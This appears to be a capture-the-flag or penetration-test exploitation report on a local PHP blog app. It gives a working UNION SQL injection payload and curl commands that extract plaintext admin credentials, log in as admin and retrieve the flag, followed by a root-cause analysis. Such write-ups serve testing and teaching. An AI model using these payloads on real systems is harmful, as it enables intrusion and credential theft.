# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Vertical Privilege Escalation via SQL Injection

**Summary:**
- **Vulnerable location:** `GET /index.php?category={payload}` (index.php:45)
- **Overview:** An unauthenticated attacker can exploit SQL injection in the category filter to extract admin credentials from the database, authenticate as admin, and access the protected FLAG resource. This represents a complete bypass of authorization controls, enabling vertical privilege escalation from anonymous (level 0) to admin (level 10).
- **Impact:** Complete privilege escalation from unauthenticated to admin; unauthorized access to protected FLAG resource; complete database compromise
- **Severity:** CRITICAL

**Prerequisites:**
- Target application accessible at http://localhost:34389
- curl command-line tool (or any HTTP client)
- No authentication required to initiate attack

**Exploitation Steps:**

**Step 1: Verify SQL Injection Vulnerability**

Test that the category parameter is vulnerable to SQL injection by confirming that user input reaches the SQL query without sanitization:

```bash
curl -s "http://localhost:34389/index.php"
```

Expected: Normal blog page with posts displayed

**Step 2: Extract Admin Credentials via UNION-based SQL Injection**

Exploit the SQL injection vulnerability to extract username and password from the `users` table. The injection uses UNION SELECT to append user credentials to the blog post result set:

```bash
curl -s -G --data-urlencode "category=' UNION SELECT id,username,password,NULL,NULL,NULL,NULL FROM users-- -" "http://localhost:34389/index.php"
```

**Technical Details:**
- The vulnerable code at index.php:45 concatenates user input directly into SQL: `$sql .= "and category = '" . $category . "' ";`
- No input sanitization is applied (only a weak blacklist for exact string "Secret")
- The UNION SELECT requires 7 columns to match the posts table structure (id, title, content, category, image, published, created_at)
- The injected query becomes: `SELECT * FROM posts WHERE published = 1 and category = '' UNION SELECT id,username,password,NULL,NULL,NULL,NULL FROM users-- -' ORDER BY created_at DESC`
- Comment syntax `-- -` terminates the remaining SQL query

**Proof of Credential Extraction:**

The response displays admin credentials in the blog post structure:
```html
<div class='post'>
    <h2>admin</h2>
    <p>Category: ONEverySecurePassword123!</p>
    <img src='images/' alt='admin' style='width:200px;height:200px;'/>
    <p>...</p>
</div>
```

**Extracted Credentials:**
- Username: `admin`
- Password: `ONEverySecurePassword123!`

**Step 3: Authenticate as Admin with Extracted Credentials**

Submit the extracted credentials to the admin login endpoint to establish an authenticated session:

```bash
curl -s -c /tmp/admin_session.txt -X POST -d "username=admin&password=ONEverySecurePassword123!" http://localhost:34389/admin.php
```

**Technical Details:**
- POST request to /admin.php with form-encoded credentials
- Session cookie (PHPSESSID) is saved to /tmp/admin_session.txt for reuse
- The `-c` flag instructs curl to save cookies

**Step 4: Access Protected FLAG Resource**

Use the authenticated session to access the admin-only FLAG resource:

```bash
curl -s -b /tmp/admin_session.txt http://localhost:34389/admin.php
```

**Proof of Impact:**

The response immediately displays the protected FLAG, confirming successful vertical privilege escalation:

```
FLAG{fdf0b671598225918361b7274eed49fdcd7d8521965b325b989f690b7191c6be}
```

**Authorization Bypass Mechanism:**

The attack successfully bypasses all authorization controls:

1. **Anonymous → Admin Escalation:** Started as unauthenticated user (privilege level 0), escalated to admin (privilege level 10)
2. **Database Authorization Bypass:** SQL injection bypassed database access controls to read the `users` table
3. **Application Authorization Bypass:** Obtained valid admin credentials, bypassing the session-based authorization check at admin.php:5
4. **Protected Resource Access:** Successfully accessed FLAG resource that is restricted to authenticated admin users only

**Root Cause:**

- **Missing Input Validation:** No sanitization of the `category` parameter (index.php:37)
- **Unsafe Query Construction:** Direct string concatenation instead of parameterized queries (index.php:45)
- **Weak Blacklist:** Only blocks exact string "Secret", easily bypassed
- **Plaintext Password Storage:** Credentials stored without hashing (db_init.sql:46)
- **No Prepared Statements:** Application uses string concatenation for all SQL queries

**Notes:**

This vulnerability demonstrates a complete authorization failure. The SQL injection vulnerability (an injection flaw) becomes an authorization bypass because it allows extraction of authentication credentials, which then enables privilege escalation. The attack chain proves that an anonymous external attacker can gain full admin access to the application and retrieve sensitive resources (FLAG) without any legitimate credentials.

The exploitation is 100% reliable, requires no special timing or race conditions, and can be executed entirely via HTTP requests from the public internet with zero authentication. All steps are fully reproducible and demonstrable.
